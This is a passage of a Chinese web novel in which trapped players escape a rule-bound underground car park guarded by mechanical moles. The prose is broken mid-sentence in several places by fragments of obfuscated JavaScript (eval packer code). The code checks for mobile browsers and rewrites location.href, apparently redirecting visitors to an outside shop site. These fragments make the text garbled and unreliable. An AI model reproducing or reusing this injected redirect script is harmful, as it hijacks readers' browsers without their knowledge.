替身并没有什么攻击性的动作,但却得到一个“已处理”的死亡结果,这才是最恐怖的。 梅子喻陷入沉思时,儿童文学发来消息。 旧的诗:知道我们位置缺失的那只已经死了,新的鼹鼠也走了,没有鼹鼠认定我们违规 梅子:你血剩的还多吗? 旧的诗:不多了 梅子:那我们就维持这样吧 不论如何,没有鼹鼠追踪她们的情况下,以变身的形态待在车顶,十分安全。 梅子喻看了眼倒计时,62h45min。 如果能在这六十二个小时里,都没有意外发生…… 哒哒哒。 不远处的墙角冒出一个土堆来,一只鼹鼠冒了个头。 “停留过久。” “已处理。” 它抱住土堆上的一颗石子,又立即钻回了土堆里,不见踪影。 梅子喻一惊,但立即反应过来,这应该是某个玩家的变身形态。 即使处于变身形态,但如果触犯了规则,依旧会被判定为违规。 那鼹鼠刚刚走掉,角落里一堆不起眼的垃圾小杂物霎时间砰砰变回了人,一行三个,都脸色苍白,神色慌张,匆匆移动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208951|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几步。 原来,地下室不是没有人,而是都藏着呢。 高个男子说道:“记下,新的规则,禁止停留过久。” 长发男掏出手机记录:“多久算久?” “之前我们最长停留时间是多久?” “五分钟左右。” “那就记五分钟。”高个男转头看向差不多快要报废的小破车:“我们开车走,芝士来开。” 一位戴眼镜的美女跟着接话,应该是男人口中的芝士:“你应该也听到了吧,一只鼹鼠说超速违规,把另一只带走了,说明超速也是违规的,还是不要开了。” “它带走了鼹鼠,就说明超速是对鼹鼠的规则,不是对我们的。好不容易有辆能开的车,先上再说。再说我们开慢点就好了。” 眼镜女并不赞同:“替身不会攻击替身,这个规则肯定是对猎物制定的,只是那只鼹鼠不小心触犯规则了而已。” “替身自己定下的规则,又怎么会自己触犯?” “除非规则有漏洞。”眼镜女说道:“规则是卡牌加猎人定下的,猎人的命令有漏洞很正常。” “不讨论这些了,快点上车。”高个男不耐烦起来:“到现在都没找到门,开车才能暴力突破,这不是我们一开始的思路吗?” 眼镜女:“开车后,肯定又会有开车的规则。很多车里都有土堆,说明很多车都违规过。” 梅子喻心里暗暗赞同,她拍照记录下的规则里,开车的确实有好几条,比如闯红灯,超速,还有远距离驾驶。 红灯目前还没看到,可能是某个机关。超速,说明不能开太快,他们想要撞墙逃离,不超速根本办不到把墙撞破。不能远距离驾驶,不知多远算远,但保险起见,开一会车就得下来走路,也比纯走路快不了多少。 最好的方法就是一直慢速步行,或者像他们一样在车顶变身苟着。 高个男:“刚才我们都看到了,违规是因为鼹鼠自己开车违规,不是玩家违规!你不去验证,永远不知道规则,就永远处于被动。现在不死,以后也会死!” 眼镜女呛回去:“要验证你自己验证去,你想开你开。你不觉得鼹鼠自己开车很蹊跷吗?这事肯定有问题。” 高个男当然不想开自己开车。他们看到的所有车都是驾驶位有土,显而易见,谁开车谁危险。 “五分钟到!”长发男突然插话。 三人同时移动了几步,然后继续吵。 长发男:“我们现在这样不就挺好的么,原地呆着,五分钟动一次。” 高个男:“鬼知道一会又会出什么新规则,我们还是得快点逃出去。” 眼镜女:“你刚才还说规则就是要验证的,新规则出来你不就正好验证了么。” 长发男:“阿曾刚刚死了耶,我们不悼念一下吗?” 高个男:“别打岔,没人关心!” 眼镜女:“那个傻叉男的,死了正好。” 梅子喻:…… 这几人虽然一起行动,但关系好像还挺差的。她毫不怀疑,如果他们中任意一个前去开车验证然后死了,其他两人都只会鼓着掌说“死得好”。 她突然觉得自己对灰烬的队友情已经很深厚了。 高个男烦躁地靠在车上,抱着肩膀说道:“那怎么办,原地等死?” 长发男:“原地待着五分钟移动一次是目前来看最安全的,所以应该是原地等活。” 高个男:“闭嘴!”他暴躁地换了个靠姿,低头看着挂在后视镜上的钩子:“这什么东西?” 16. 鼹鼠四、队友祭天 高个男刚要把钩子取下来,儿童文学就唰地变回了人,吓得他向后一跳,另两人倒好像早有预料,淡然地站在原地。 “你……在这里超过五分钟了?”高个男惊讶道:“你怎么……”你怎么还活着? 后半句话没有问出来,但在场的都知道他心里想的是什么。 “我们已知的规则是不会错的。”眼镜女问道:“你们是不是发现了什么漏洞?” 儿童文学瞥她一眼:“如果要交换情报,需要一条换一条,你们先说。” “原地停留不能超过五分钟。”长发男说了条大家都知道的。 “开车不能超速。”儿童文学也回了条众所周知的。 之后,就是沉默。 有时候,猎物之间的合作也很难达成。 “我知道了。”眼镜女忽然说道:“我们变身后再上车。” 这是一条错误的结论,但儿童文学耸耸肩,不置可否。 高个男点头道:“好,你去吧。” “我动脑了,总该你动手。还是你去吧。” 眼见这几人又要吵起来,梅子喻在车顶也蠢蠢欲动。虽然她现在在车顶可以苟,但儿童文学已经到了地面,除非再来一通之前的操作,不然永远没法回到安全的车顶,但她的血量已经经不住再一轮折腾了。 地面倒也不是绝对不安全,只是规则实在太多,谁知道规则会不会继续增加。 要帮她一把吗?梅子喻思索着。儿童文学独自一人来到地面,但并没有暴露她在车顶——车顶是个思考盲区,一旦这群人意识到车顶没有规则,就会一股脑涌上来,然后继续重现位置丢失的情况,引来下一次车祸,而现在只剩下半管血的她可经不起折腾。所以,儿童文学这是在……保护她? 梅子喻搞不懂,但起码,这位队友没害过她。 “喂。”她变回人喊了一声,车下几人齐齐抬头望她。眼镜女果然立即反应过来,脱口而出:“车顶!目前的规则里还没有在车顶违规的,车顶也从来没发现土堆!” 一个安然无恙地待在车顶的人,就是眼镜女推论的最大证据。 高个男眼前一亮,扒住车门就要往上爬:“我来实验下,你们在下面等着。” 这时候,他倒是争当第一了。 梅子喻在车顶居高临下地看着他,说道:“会死的,你确定要上来吗?” 几人都是一愣。 为什么会死?她这不是活的好好的吗? “别骗我了。”男人很快回神,“大家都想活命,拜托别那么自私。既然车顶是安全的,你就该告诉大家,让多点人活下去,而不是藏着掖着,对谁都不好。” 说罢,三两下爬了上来。 两人并排坐在车顶,很不友善地对视一眼。梅子喻总觉得如果不是有这一群人看着,他肯定要一脚把自己踹下去,独享这份安全区域。 梅子喻轻巧地爬下车,这下,刚刚还得意洋洋说教的男人又愣住了。 车顶不是绝对安全的吗? 怎么她……还下去了? 梅子喻看了下手机时间,向其他人说道:“后退。” 儿童文学自然明白她的意思,与她一起向后几步,其他几人不明所以,但也都感受到了某种危机——他们清楚地意识到,马上有某个他们不清楚的规则被触发。 而惩罚对象就是高个男。 “喂……你们跑什么。”高个男已经爬上了车顶,却见其他人都和那两个不认识的玩家向旁避开,给这个车周围留出一片空地。他不禁害怕起来,心里纠结着,究竟是这个女人在故弄玄虚,还是真有某个上车就会被触发到的规则? 可是,这两个女人明明是完完整整地从车上下来的。 完完整整…… 他想到这里,忽然意识到什么,向车头看了下。这车刚才被鼹鼠开着撞击过来,是不是就是因为这两个人上了车? 所以,只要上到车顶,就会引发鼹鼠过来开车?如果他在车顶的状态下,能否承受住一次冲击? 发生车祸后,他会死吗? 时间一分一分地流逝,男人终于还是承受不住独自承担风险的压力,思索片刻,从车上跳了下来:“算了,我不试——” “位置重新识别。” “检测到违规:离开地面。” 地面突起一个土堆,机械鼹鼠毫无征兆地从中冒出,咬住男人的手,将他猛地拉入土堆的入口里。 “啊——” 男人的尖叫只在空中停留了一秒,他被拉入土坑中的瞬间,声音便戛然而止。 眼镜女看着土堆目瞪口呆,片刻后,又转头看向梅子喻:“你说会死,就是说上车后,再下车就会死?” 梅子喻有点发愣,她说的会死,指的是男人上车后会有鼹鼠来开车,到时候可能会因为车祸流血过多,就像她和儿童文学那样。 她倒是没想到男人会停留不到五分钟就急慌慌地下车。若是他对自己的决策坚定一点,不被其他玩家的撤离吓到,说不定还能多在残血状态下多活一段时间。 “我不知道啊,我是吓他的。”梅子喻顿了顿,补充道:“我也不知道下车会死。” “你们两个为什么没事?”长发男冷不丁地插话道。 要把规则和他们说吗?梅子喻有些犹豫,这两个对队友无情无义的人,会是好的合作对象吗? 她下意识地把目光投向儿童文学,得到了一个同意的眼神。 在这种游戏里,猎物本来就是弱势者,即使不会在死之前拉队友一把,也不会在死之后为队友流下几滴泪水,但有总比没有强。 不过既然合作,就要让他们发挥作用。 “我可以说,但你们要配合我们做一些事。”梅子喻说道。 虽然这两人迫切地想知道致死的规则,但眼镜女还是谨慎地问了句:“什么样的事情?” “把猎人引出来的事情。” 这话一出,连队友儿童文学都震惊了。 不过当这两个外人的面,她没表现出来,假装一切都在掌控之中的样子,默不作声地点了点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208952|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……”眼镜女沉默了片刻,和长发男交换了一个眼神。 作为猎物,来到这个游戏后他们从队友的死亡中学到的第一件事就是不要主动出击。躲起来,躲到尽可能隐蔽的地方,才是最好的出路。 所以他们经常只能被动地等死,很多时候都无法全面掌握猎人的能力,有时甚至连猎人的脸都看不到。 但……如果主动出击,就会得到更多的信息,也许能在正面交锋时拥有一丝转机。 “我们同意。”眼镜女答应道。为了表明他们的诚心合作,又补充了一句:“我们进来这片领地时大概有十个人,现在只剩下我们两个了。继续躲下去也没法摸清全部规则,我们也愿意主动试探。只要你对你的方法足够有信心。” “信心么……”是没有的。但梅子喻还没说完,儿童文学抢先答道:“我们对自己的计划有把握。” 大概是上一次成功逃生的缘故,儿童文学倒是对她很有信心。 梅子喻也坚定了信念,“那我先来说明我们没有死的原因。” “我们最开始违规的原因是,位置丢失。” 位置丢失。眼镜女目光一凛。高个男死之前,鼹鼠说的是“离开地面”,并非同一条规则,但是好像又没差太多。 “我们第一次违规判定引来了第一个鼹鼠,它的出现意味着我们的第一次违规被销掉了,但是在车顶不会被鼹鼠发现。第一个鼹鼠上车后,它为了找到我们而做的行为触发了第二次违规判定——超速。第一个鼹鼠被第二个鼹鼠抓走,我们第二次违规也就被销掉了。” “所以当我们回到地面时,违规判定已经全部被销掉,没有鼹鼠再来抓我们。” “而他——”梅子喻指了指那个土坑,“他在违规判定被核掉前,也就是在第一个鼹鼠赶来前就回到地面,被鼹鼠抓到了,所以直接死亡。” “离开地面和位置丢失有什么区别?” “区别就是……”梅子喻掏出手机:“稍等下。” 她还不那么刻意地侧了个身,背对着这两人,朝着男人被带走的土坑拍了个照,发朋友圈。 死因:离开地面超过五分钟。 这下,高个男死亡的原因就很清楚了。 不过梅子喻没有立刻告诉他们这条规则,而是说道:“你们可以用一瓶水来和我们交换更具体的规则。” 现在,首要的事情是补回她们被车撞掉的半管血。 眼镜女四处望了一圈,说道:“这地方哪来的水……” “我有。”长发男打断她,从手机上调出一个水杯来,“无限水杯,可以无限制地产生水。” “哦对,都忘了你还有这玩意。”眼镜女瞥他一眼:“没想到你这道具还有用的上的一天。” 在这个游戏里不会渴,无限水杯虽然看似拥有很逆天的“无限”能力,但并没有什么用。 梅子喻却眼前一亮。 无限水杯,配合上她的补血水杯,不就成了一个无限补水药? 如果和这个长发男合作,她们岂不是无敌了? 17. 鼹鼠五、车祸刷怪 这两个水杯若是可以合成,就是无限血药。不过目前还没在游戏里看到让道具合成的道具,也就只能先靠合作来达成这个无敌的效果了。 有了无限血药,梅子喻更加坚定了自己引出猎人的计划。 “我这里有可以让水变成血药的道具。” 她接过水杯,又调出自己的水杯道具,灌水喝水一气呵成,第二杯血药给儿童文学也补上,这样她们就是满血了。 虽然这里没有明面上的血条,不过两人的气色明显好了很多,确实可以看出是加了血。 眼镜女大为震惊:“水变成血药?!还有这么离谱的道具,那岂不是……”她看向长发男的无限水杯:“我们能无限加血!” 这是她之前想都不敢想的,要多好的运气,才能抽出一个血变水的药! 不……幸运的是拥有这两种道具的他们两伙人在这偌大的猎杀游戏里相遇了。猎物的道具不能转让,只有他们合作,才是最强。 喝完血药,梅子喻讲解了更为详细的规则:“离开地面不能超过五分钟,五分钟内回到地面,应该是安全的。五分钟到十分钟内回到地面,会被判定离开地面。十分钟后还不回到地面,会被判定位置丢失,之后,鼹鼠就回来到你最后发出声音的那个地方抓你。” 眼镜女深深地看了她一眼。也不知她用的什么道具,可以得知这么精确的消息。 “那么,我们只要爬上车顶超过十分钟,并且抗过第一次撞击,就可以在车顶待到游戏结束,是吗?” “理论上是的,我们之前也是这样计划。”可惜被你们打断了。 “那我们就按照这个……” “但刚才那个男人的死也说明了,还有很多我们不知道的规则。就像我们虽然安全地下了车,但也不知道五分钟后下车就会死。” 这个游戏现在最让人不安的地方是,被鼹鼠抓到就会死,以及,鼹鼠的规则似乎无穷无尽。也说不好会不会随着时间的流逝,规则出现变化。 眼镜女叹了口气,“那就听你的。我们要怎么引出猎人,引出他之后又要怎么做?” “刷怪。”梅子喻回答道。 她带着一行人走了段路,一边数着路过的车,直到经过第四辆才停下来:“现在有四辆了,我们四个人正好。” “首先要说明一件事情,鼹鼠所在的位置是地下,拥有听觉而没有视觉,所以它可以得知我们的位置,听到我们的声音,而不能看到我们。” 梅子喻指着一辆车说道:“我们每个人负责一辆车,重复我们之前经历的事情:保持安静地上车,等待十分钟触发第一次违规,然后鼹鼠上车触发第二次违规,我们备上足够多的血药,及时补血,安全地下车,再次安静上车重复以上过程,这样一次性可以引出两只鼹鼠,灭掉一只鼹鼠。” “而我们四个人要选择四个距离比较远的位置,按照随机的顺序撞车,猎人并不能看到我们这些地方发生了什么,她只会以为是一个猎物拥有了瞬移的能力。所以当猎人向某个人追过来的时候,只要变身藏得隐蔽些,并且通知下个人启动撞车,猎人就会去下一个位置追人。这样,我们就可以用四个位置溜猎人一阵子,看看他有什么能力。” 眼镜女目瞪口呆,即使告诉她如此详细的规则,她也想不到这样离谱又大胆的操作。虽说确实能够引出那个一直隐藏着不出现、全靠替身鼹鼠抓人的猎人,虽说确实有用不完的补血药,但如果来不及补呢?如果就像之前那些猎物一样,在被鼹鼠碰到的瞬间就抓到了土堆里,原地死亡,毫无反击之力呢? “知道了他的能力,然后呢?” “然后见机行事。”梅子喻的发尾轻轻翘了翘。这句话极其自然地从嘴里飘出来时,她总觉得男鬼自大的灵魂好像也占据了她的思想。 她不由得又反思了一瞬——如果是刚开始游戏,还没有吃掉男鬼的头的她,会提出这样冒进的想法吗? 眼镜女震惊于她如此自信地说出“见机行事”四个字,连连摇头:“你在想什么?这太冒险了——” “我可以。”长发男忽然说道。“我们两个来执行吧。芝士,你找个安全的地方待着。” 说罢,朝梅子喻伸出手来:“我叫星星。我们、以及我们的道具,都会配合得很好。” 好巧,上一个被她坐死的猎人也叫星。不过只是个代号而已,星和星星也不重复,梅子喻只是短暂地回忆起了那位猎人,之后并未在意,反而想,这人的胆子倒还挺大。 她与他对视,右手握了上去:“你不害怕么?” 星星笑了笑:“害怕什么?害怕你的头发吗?” 梅子喻身子一抖,甩开了他的手。 他注意到她会擅自摇摆、仿若有自我意识的长发了。吃掉男鬼的头、头发变得超出控制这件事,连儿童文学都不清楚。 “我也一起执行。”似是看出了梅子喻一瞬间的惊慌,儿童文学凑上前,站到她身边:“我相信你。” 梅子喻的眉间条件反射般地一阵抽搐。 我相信你。上次说出这句话的还是灰烬,现在他已经死了。 在他盲目地相信梅子喻可以救他之后,草率地死在了出口。 她转头,看到儿童文学无比坚定和信任的目光,不由得一阵头疼。她就算真的和猎人对上面了,还可以用掉一次猎人标识召唤纸神或者什么替身出来救她。但儿童文学恐怕只会白白地死掉。 一缕发丝缠上了她的小腿。虽然,死掉也没什么。梅子喻心想。 ……怎么能这么想呢?梅子喻猛地回神,用力摇了摇头。上一次自己无能为力也就算了,下一次也要这样眼睁睁地看着队友去送死吗? “……算了,换个计划。”她叹了口气,无奈道:“我还有猎人标识和一张替身N卡,就让我的替身来做这件事吧。” 她本不想就这样用掉这张替身卡的。 星星闻言一个挑眉,芝士则瞪大了双眼:“这又是什么东西?!” …… 讲解完猎人标识和替身卡的使用后,芝士叹为观止:“……这游戏还有这种玩法,我从来没见过。” 猎物就是猎物,没见过哪个猎物化身猎人和真正的猎人硬刚的。 梅子喻调出了卡牌界面,略有些犯愁。 N卡只能用一次,不知道在地下车库里能激活出什么东西来,也不知道这次的替身能否自由操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那和梅子喻拥有着同一张脸的纸神走到了这个视角的替身对面,忽然转过头来,与她对视。 梅子喻不觉出了一头冷汗。 纸神挥了挥手,倏地,所有替身视角同时关闭,她脑海中一幕幕各不相同的画面只剩下一片漆黑。 “……” “你怎么了?”儿童文学在她眼前挥手,“标识不能用吗?” 梅子喻猛地回神,发现三人都在看她。 “……没什么。”她擦去额头的汗,轻声道:“刚在想事情。” 纸神关掉了她“视觉”的权限吗?这是否意味着它已经不再只是一个替身,而是拥有自我意志,同时也能控制自己行为的…… 新的玩家? 由她一手制作出来的,专门猎杀猎人的玩家。 “……”梅子喻深吸一口气,强行将注意力转回手机。不论纸神在外如何猖狂,现在也与她无关了。她又控制不了纸神,看样子纸神也不会来救她。 毕竟,它可是说过“人是不能和神谈感情的”这样的话。 说到底,身边的队友死活她都不关心,外面死几个猎人,她更不在意了。 梅子喻点开替身卡,说道:“替身卡,激活。” 【您已激活替身卡】 【替身卡-N:司机。基础口令:请开车】 18. 鼹鼠六、鬼打墙 看到梅子喻略有惊讶的神情,儿童文学问道:“是什么样的替身卡?” “这下不用上车顶了。”梅子喻说:“替身是司机,直接去车里开车就可以。” 虽然执行人改为了替身,但毕竟这个替身也只能开车,计划还和之前一样。 “你的替身在哪呢?”芝士问。梅子喻念出激活口令后,几人都在四处张望,尤其是儿童文学,她以为会有像之前卫生纸变人一样的盛况,但等了半天,无事发生。 梅子喻闭上眼睛,艰难地感受了下。N级卡不像SSR那样好用,没有视觉、听觉或者触觉的权限,顶多能感觉得到,那些替身似乎已经分布在了各个车里。 毕竟是“司机”。 “……我也不知道,我启动一下。”梅子喻试着念出了口令:“请开车。” 滴滴—— 车库深处,一阵鸣笛声响起,紧接着就是一阵巨大的撞击声。 这是什么情况?几人面面相觑。 梅子喻也有些发愣,她茫然地朝着声源的方向看去,只有一片漆黑,什么也没看到——那辆车离他们的距离很远。 她并不知道自己在操控哪一辆车,但她能隐隐约约感受到这辆车的替身仍旧存在着。 存在了十秒钟。 然后,消失了。 “等等,我再试一次。请开车——” 滴滴—— 这次是离他们很近的一辆车,几人都听到了那风驰电掣压过地面的声音,一辆车就这样从他们面前的那条走廊里疾驶而过,不出一分钟,驾驶位置上冒出了一个土坑,鼹鼠冒了个头,揪住司机,又钻了下去。 “超速、违规者已处理。” 梅子喻倏地睁开眼睛。 这次比上次的感觉更清晰了,她大概知道自己在控制着哪辆车,以及这辆车的位置在哪里。 但她还是不知道自己的替身是什么样子的。 “你们刚才看清楚了吗,那辆车里的司机是什么样子?” 儿童文学看着远处那辆停在车库中央的无人车辆,说道:“好像是……一个人形的土堆。” 说到土堆,几人都有些胆寒。土堆是鼹鼠冒出来的地方,是带走他们队友的地方,也是队友死亡的地方。驾驶位上有土堆,就意味着有玩家在这里死过。 “土堆……”梅子喻喃喃道,忽然掏出手机,翻看朋友圈buff的说明。 成就buff:将玩家死亡现场发到朋友圈,查看死亡原因 死亡现场。 大家都知道玩家被鼹鼠带走时就会死,所以,土堆的确就是死亡现场。 但她刚才明明感觉得到,自己的替身是在被带走的十秒后才消失的。 如果玩家死亡的时间是在被带入土堆的十秒后,那土堆就不应该被叫做死亡现场,他们真正死亡那一瞬间所处的地方才应该是死亡现场。 说到底,这游戏里每个死亡事件都有明显的表现,比如男鬼会砍头,她的卫生纸会堵住别人的呼吸。但是高个男被带走时,仅仅只是被带走,并没有什么被杀死的反应。 “再试一次,这次我试着同时控制多个。” 梅子喻下达指令:“请开车。” 响亮的喇叭声从四个方向传来,很快,四面都有鼹鼠出现,进行审判。 “超速、违规者已处理。” 梅子喻皱着眉,仔细回想刚才的感受:她这次能通过对车和自己的相对位置及距离,来感受到自己选择的是哪辆车。由此,她也能够更清晰地感受到自己所控制的替身的存在感。 而它们在同一时间执行指令开车,鼹鼠在同一时间出现判决,十秒钟后,它们又都在同一时间死亡了。 她总觉得自己好像快要摸到真相了。最起码,她确认了一点——这些玩家和替身绝对不是在被鼹鼠带走的瞬间死亡的。 可惜她没有替身的视觉权限,不然她就能直接地看到替身被带走后发生了什么。此时此刻,不由得开始怀念起纸神来:这么对比下来才意识到,SSR的替身卡有多好用。 星星问道:“怎么样?” “我能控制替身了,按照原计划进行。”梅子喻合上眼,原地转了一圈,感受四面八方有多少个替身等待她的指令。 “两百……两百多个。不对,一百个。也不对……”她皱起眉,“有重复的。” “什么意思?” “我最开始,其实能感受到无穷无尽的替身。”梅子喻解释道:“但我很快意识到这不可能,我的替身是车里的土堆,也就是说,只有曾经有过一个玩家在驾驶位上被鼹鼠带走,才会诞生一个我的替身,怎么可能无穷无尽。” “然后我感受它们的位置和方向,我发现了一些重叠,于是数量减到两百左右。但当我更精确地体会它们的位置时……最后数下来,可能只有五十个。” “至少五十个人在这里死过,也很多了。”儿童文学严肃地说道。 星星的关注点则不在此:“你说,你是通过位置和距离来感受它们的?” “是啊。为什么会有重复,而且重叠的感觉很奇怪。在我左边很遥远位置的车,和在我右边很遥远位置的车,最开始感觉是两辆车,后面仔细地感受,又觉得是一辆车……“梅子喻忽然想到了什么:“这个地下室有两层!” “对啊,就是两层,进来的时候应该都看到了吧。”芝士不明白她反应为什么这么大。 “但是没有电梯上去,你们也从来没有去过楼上,是吧?这里没有电梯,没有门,这根本不是一个正常地下车库该有的构造。” 一个商场的地下室绝对没有这么大。她们在里面走了那么久,都没看到一个疑似出口或者尽头的地方,像鬼打墙一样,怎么可能呢? 真正的出口一定还存在,只是被藏起来了。 “左边和右边是一样的,左前和右后是一样的……距离。距离和方向……”梅子喻一边感受,一边快速地整理这些重叠的车,“B1的左侧和B2的右侧是一样的,B1的右侧和B2的左侧是一样的……接上了!” “什么接上了?”芝士烦躁起来,“你到底在说什么?” 理清楚了。 梅子喻的脑子变得无比清晰。她打开手机里的记事本,画了两条直线,上面的那条左右标着AB,下面的那条左右标着CD。 儿童文学一直仔细思考她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“要么还是按照你原先的计划……把猎人引出来,我们看看他是什么样子的。”芝士说道。虽然这曾被她视为冒险的做法,但现在更冒险的路出现后,这竟成了一个保守路线。 “猎人可能不会出来了。”星星说道:“鼹鼠在地下巡逻,只有发现我们违规才会短暂地来地上,之后又立刻把我们拖到地下。它们为什么不直接在地上杀死玩家?因为它们要按照规则,把玩家带到猎人的面前,再由猎人杀掉玩家。一定有某种原因,导致猎人无法在地上亲手杀死玩家,才会由这么复杂规则的鼹鼠执行这一点。” 土堆是死亡现场,但并非玩家真正死亡的地点。玩家真正死亡的地点是这个球的球心,也就是地下。 所以,土堆应该就是通往地下的入口。以球面的角度看,土堆和球心不在同一位置,而有一段“距离”,但如果以平面的角度来看,土堆挖下去的地方正是地下,是重叠的。 换言之,玩家被带到的地方、鼹鼠和猎人所在的地方,是在B1.5层——B1和B2之间,这个几乎不存在的空间里。 而所有替身从被带走到死亡的时间都是十秒,哪怕同时死了四个也是一样。如此整齐的时间,应该不是人为所杀,而是某种规则或者能力,能让他们被带到地下的十秒后被杀死。 “嗯,猎人不会出来了。”梅子喻说道:“猎人可能已经不存在了。” 19. 鼹鼠七、逃离地下车库 既然梅子喻的替身可以独立于她存在,那其他的猎人替身自然也是同样。 “猎人不存在?那他怎么控制替身,他又是怎么死的?” 猎人可能被他自己的替身杀死,或者弄成了半死不活的状态,这样即可以维持替身的生存状态,又不用听猎人的命令。 替身坚守着自己的规则。纸神坚守着最大的命令“保护和平”,鼹鼠也会坚守他们被定下的规则。只不过这规则多半不是由猎人制定,而是卡牌制造出来的。如果鼹鼠的猎人违背了卡牌规则,被鼹鼠杀掉也不足为奇。就像如果有一天,纸神要杀死梅子喻,她也不会感到意外。 梅子喻想将自己的想法解释清楚,但除了纸神之外,没什么能证明她的论据,而纸神目前的所作所为也很难解释——要怎么告诉他们,自己的替身现在已经完全脱离她的控制,并且在外面大杀四方? “就像他说的。”她指了指星星,“如果猎人存在,他的活动范围又不限于地下,没必要遮遮掩掩靠着替身按规则抓人。他都可以在地下一秒杀人了,还用这么复杂的规则干嘛?如果他出于某种原因不得不这样做……管他什么原因,只要他不出现,对我们来说和死了没区别。” 这倒是一时间没法反驳。芝士问道:“不引出猎人的话,我们现在做什么?去地下?如果是被鼹鼠抓去的话,会死。但我们自己怎么主动去,难道要挖个坑吗?除了鼹鼠挖的坑外,别的坑都没法通往那个球心吧。” 梅子喻心里有个猜想。 这个地下车库作为两层平行平面、作为一个球体,这两种状态可能是同时存在的。 具体以哪种形式存在,可能取决于玩家的位置。 玩家在地上时,地下车库以球体的形式存在,所以玩家在这个车库里不会找到门——因为空间的连接,门消失了。 玩家在地下一段距离时,地下车库以平面的形式存在,这样当玩家被拉到地下一段距离、并且还没到达球心时,就相当于夹在了B1.5层,被夹死了。 但如果地下室以平面形式存在时,正好有两个土坑从上下两层将这个夹层打穿,不就可以活下去了吗? 由于两个平面是左右互换对接的,而当他们在地面时,地下室以球状存在,所以这个打穿的位置也很好找——两个位置连接的线能贯穿这个球就可以,这样鼹鼠打洞时就将球体和平面同时打了个对穿。 至于是否能成功,要试验一下。 “我有一个活着去地下的方法,只不过很难解释,我的替身先试验一下吧。” 替身做实验,自然没人反对,几人纷纷点头。 梅子喻用感觉将整个车库扫了遍,找到两辆位置可以贯穿球心的车。 就是他们了。 “请开车——” 滴滴—— 左右两面同时开启了车,超速,判决,一切都如同之前那样—— ……八、九、十。 梅子喻在心里读秒。 没有消失。 替身没有消失! 也就是说,这个方法是有效的,并且他们四个人两两一对,正好可以打通两个通道,四人都能活下来。 只是,梅子喻能感觉到替身精确的位置,也可以控制启动时间在同一秒。他们四个完全不同的玩家,要怎么保证这一点? 虽然这方法有效,但是真正执行起来难度太高,而且一不小心,就是两个人同时丧命。 看梅子喻一会微笑一会皱眉,儿童文学也搞不懂她了,直接问道:“是成功了吗?” “成功了。” 芝士眼前一亮:“方法是什么?我们快点实施——” “成功了,但可能我们很难做到。” 梅子喻将她的方法以及成功的替身验证手段说了一下,几人都沉默了。 “你们要试试么?”她问道。如果不是对她的能力和说出的话极其信任,是不会愿意尝试这样极度冒险的方法的。 儿童文学注意到,她说的是“你们”。 梅子喻其实可以自己和替身配合,成功的概率会大很多。只不过那样剩下三个人,一是无法找到位置,二是只能活两个。 “当然。”儿童文学和星星同时回答道。 两人对视一眼,儿童文学心里升出一丝怪异感。她相信梅子喻,是因为她知道这是“梅好明天”,而且确实也被梅子喻成功地带出了商场。 但这个男人有什么理由对梅子喻如此信任?一般来说,应该是芝士那样的反应才对—— 芝士焦虑纠结地咬着手指,咬到指尖渗出几滴血迹,才下定决心:“我也和你们一起。” “好,事不宜迟,我们现在就开始。” 梅子喻又选了四个位置,带着另三人依次找到了这四辆车。她是通过替身定位的位置,驾驶位上都有一个人形的土堆。 看到这土堆,芝士似乎是想起了之前许许多多队友死亡的场景,不由得皱起了眉,不过她什么都没说,就这样坐了上去。 位置的事情倒是好搞定,比较难把控的是时间。 他们几人事先同一时间打开了秒表,反复几次,直到确认秒表的时间完全同步。 接着,他们约定了一个时间节点:5分钟。 五分钟计时开始,秒表归零时,同时启动车辆猛踩油门,保证在同一时间被判定超速,然后同一时间被鼹鼠带到地下。 这样,就能在第十秒、地下车库的球体形态变成平面形态时,打穿这两个平面。 这其中每一个细节都不能失误:看表的时间,踩油门的时间,必须精准到误差在一秒之内。 否则,就会导致他和他的配合者同时丧生。 梅子喻和儿童文学一队,芝士和星星一队。梅子喻对于那两人能否配合好表示非常怀疑——毕竟他们的队友情都脆弱到可笑。不过她对儿童文学还是十分信任的。 “我们会成功吗?” 分开之前,儿童文学问道。 “当然。”梅子喻朝她笑了笑,“无常我们都搞定了,几个小鼹鼠还能搞不定?” “嗯。”儿童文学两手握紧车把,也跟着浅浅地笑了起来。 她一直很严肃,但此时笑得很真实。梅子喻觉得,经过了这么两场冒险,她对自己的信任已经可以用盲目来形容了——对于她头发的变化选择不去问,对于她的计划选择无条件支持…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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存在感薄弱是因为:这车他们在地下车库见过无数次了。突兀是因为:他们几人围着这辆车,显然不是街上原本的。 更何况,星星还坐在车里。 